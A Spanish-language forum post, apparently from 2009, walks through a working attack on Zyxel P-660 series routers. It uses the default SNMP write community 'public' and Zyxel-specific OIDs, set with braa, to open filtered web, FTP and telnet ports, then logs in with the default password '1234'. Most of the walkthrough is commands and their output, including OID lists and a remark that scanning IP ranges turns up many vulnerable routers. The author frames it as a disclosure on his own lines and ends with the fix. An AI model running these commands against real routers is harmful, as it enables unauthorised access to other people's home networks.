Había oido hablar e incluso puesto en practica alguna vulnerabilidad en routers Zyxel, pero a estas alturas creí que el tema estaba solucionado.
Nada más lejos de la realidad, más bien al contrario, y si no lo crees, sigue leyendo.
Leyendo un paper de d00han.t3am , no he tenido otro remedio que recrear el escenario del ataque.
Que quede bien claro que lo que voy a explicar aquí, ha sido realizado con 2 lineas ADSL de mi propiedad.
RECREAR ESTE DOCUMENTO CON CONEXIONES AJENAS, ES ILEGAL Y NI YO NI ESTA WEB SE HACEN CARGO DE LAS CONSECUENCIAS. A pesar de que lo advierto, como se que algunos harán mal uso de la información que expongo, por ética, omitiré algunas partes del paper que podrían generar ataques masivos a estos routers.
Empezamos.. lo primero los routers vulnerables a este ataque, P-660HW-D1 , P-660R-D1 , P-660HW-61.
En mi caso, el escenario lo recreé con un P-660HW-D1 con la configuracíon original de telefónica, y su firm por supuesto,
Despues de poner el router a manejar mi conexion, pobre, llevaba mucho en el armario, miro la ip pública que tengo, a partir de ahora 79.75.X.X.
Cito textualmente del paper :
Por defecto, algunos routers de la serie 600 traen el servicio SNMP activado con su respectivo puerto UDP 161 abierto accesible desde la interface LAN y WAN.
Esto en si no es un problema siempre y cuando se proteja por contraseña y no se pueda modificar nada. Pues normalmente no es asi, es decir, la contraseñaa de lectura o GET es "public" y la de escritura o SET es "public" y no existe ningun tipo de filtrado a este puerto/protocolo.
Normalmente, el protocolo SNMP y los datos a los que se acceden se utilizan para monitorizar el estado del dispositivo. La brecha de seguridad se abre aqui, pero realmente el problema viene cuando podemos MODIFICAR la configuracion del dispositivo a nuestro antojo.
Dicho de manera muy simple, el protocolo SNMP utiliza MIBs para intereaccionar con el dispositivo. Por ejemplo, si hacemos una peticion SNMP a un router usando la OID .1.3.6.1.2.1.1.1.0 nos respondera con un string indicando el Modelo.
Una MIB digamos que es una base de datos de OIDs para interaccionar con un dispositivo via protocolo SNMP. Las MIBs que utilizamos aqui no son las "estandar" . Son especificas de los routers ZyXEL y es mas, muchas de ellas tampoco aparecen en la documentacion oficial, se han obtenido, digamos que, por fuerza bruta. Las OIDs estan estructuradas jerarquicamente y "andando" por ellas y bajando de nivel podemos encontrar sorpresas; sorpresas que nos pueden ayudar a cambiar la configuracion sin permisos de administrador.
ZyXEL por ejemplo, tiene MIBs propias, se encabezan bajo la jeraquia:
:.1.3.6.1.4.1.890.1.x.y.z
Vamos al lio...
El soft que necesitamos (bajo linux)
- nmap
- braa
Encontrar, instalar, o explicar el funcionamiento de este soft, no es parte de este post.
Lanzamos braa para confirmar el modelo del router ...
# braa -v -p 200 public@79.155.X.X:.1.3.6.1.2.1.1.1.0
79.155.X.X:112ms:.1.3.6.1.2.1.1.1.0:P-660HW-D1
1 queries made, 1 queries acknowledged.
Scaneamos con nmap los puertos WEB,FTP y TELNET
# nmap -p 80,21,23 79.155.X.X
tarting Nmap 5.00 ( http://nmap.org ) at 2009-12-04 17:51 CET
Interesting ports on XXX.Red-79-155-XX.dynamicIP.rima-tde.net (79.155.XX.XXX):
21/tcp filtered ftp
23/tcp filtered telnet
80/tcp filtered http
Confirmamos el filtrado de los puertos
El 80
# braa -v -p 200 public@79.155.X.X:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.4
79.155.XX.XXX:82ms:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.4:80
1 queries made, 1 queries acknowledged.
El 21
# braa -v -p 200 public@79.155.X.X:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5
79.155.XX.XXX:82ms:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.4:21
1 queries made, 1 queries acknowledged.
El 23
# braa -v -p 200 public@79.155.X.X:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.6
79.155.XX.XXX:82ms:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.4:23
1 queries made, 1 queries acknowledged.
Bien, es hora de cambiar los valores
WEB
#braa -v -p 200 public@79.155.X.X:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.4=i81
79.155.X.X:123ms:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.4:OK, set.
1 queries made, 1 queries acknowledged.
FTP
# braa -v -p 200 public@79.155.X.X:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5=i22
79.155.X.X:2037ms:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5:OK, set.
1 queries made, 1 queries acknowledged.
TELNET
# braa -v -p 200 public@79.155.X.X:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.6=i24
79.155.X.X:2037ms:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5:OK, set.
1 queries made, 1 queries acknowledged.
Volvemos a pasar el nmap
# nmap -p 80,21,23 79.155.X.X
Starting Nmap 5.00 ( http://nmap.org ) at 2009-12-04 17:57 CET
Interesting ports on XXX.Red-79-155-XX.dynamicIP.rima-tde.net (79.155.XX.XXX):
21/tcp open ftp
23/tcp open telnet
80/tcp open http
Y si... estan accesibles ahora .....
r2d2@K-PAX:~/Scripts$ ftp 79.155.X.X
Connected to 79.155.X.X
220 FTP version 1.0 ready at Sun Jan 23 20:43:39 2000
Name (79.155.X.X:r2d2): 1234
331 Enter PASS command
Password:
230 Logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
r2d2@K-PAX:~/Scripts$ telnet 79.155.X.X
Trying 79.155.X.X...
Connected to 79.155.X.X
Escape character is '^]'.
Password:****
Copyright (c) 1994 - 2006 ZyXEL Communications Corp.
P-660HW-D1 Main Menu
Getting Started Advanced Management
1. General Setup 21. Filter Set Configuration
2. WAN Backup Setup 22. SNMP Configuration
3. LAN Setup 23. System Security
4. Internet Access Setup 24. System Maintenance
25. IP Routing Policy Setup
Advanced Applications 26. Schedule Setup
11. Remote Node Setup
12. Static Routing Setup
14. Dial-in User Setup 99. Exit
15. NAT Setup
Enter Menu Selection Number:
Please enter a number
A partir de aquí, vamos, no hace falta explicar las posibilidades que se abren ...
Dejemos las cosas como estaban a nuestro router :
WEB
# braa -v -p 200 public@79.155.X.X:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.4=i80
79.155.X.X:123ms:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.4:OK, set.
1 queries made, 1 queries acknowledged.
FTP
# braa -v -p 200 public@79.155.X.X:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5=i21
79.155.X.X:2037ms:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5:OK, set.
1 queries made, 1 queries acknowledged.
TELNET
braa -v -p 200 public@79.155.X.X:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.6=i23
79.155.X.X:2037ms:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5:OK, set.
1 queries made, 1 queries acknowledged.
Nos aseguramos ...
nmap -p 80,21,23 79.155.X.X
tarting Nmap 5.00 ( http://nmap.org ) at 2009-12-04 18:09 CET
Interesting ports on XXX.Red-79-155-XX.dynamicIP.rima-tde.net (79.155.XX.XXX):
21/tcp filtered ftp
23/tcp filtered telnet
80/tcp filtered http
Cabe decir, que a dia de hoy, scanenando un rango de ips de la forma adecuada con braa, es impresionante la cantidad de routers que aparecen.
Así que si tienes uno de estos, ponte las pilas...
Lista de OIDS interesantes :
* Que quereis saber que MAC tiene la IP interna 192.168.1.33 pues nada....
# ./braa -v -x -p 200 public@79.155.X.X:.1.3.6.1.2.1.4.22.1.2.1.192.168.1.33
79.155.X.X:107ms:.1.3.6.1.2.1.4.22.1.2.1.192.168.1.33:00148525ee19 (ES MI MAC)
* Listar los interfaces de red:
OID: .1.3.6.1.2.1.2.2.1.2.1
Value: enet0
OID: .1.3.6.1.2.1.2.2.1.2.2
Value: enet1
OID: .1.3.6.1.2.1.2.2.1.2.3
Value: pppoe
Para terminar, la forma de corregir esto en nuestro router es cambiar la password GET y SET en el menú SNMP.
Espero que os haya gustado, y dejo bien claro que yo solo explico mi experiencia de realizar lo explicado en el paper, no soy su autor.
PD : Se que no es un tema wireless, pero crei que era conveniente difundir este error de configuracion del Zyxel, si creeis que me he pasado publicando esto aqui, podeis borrarlo...
Saludos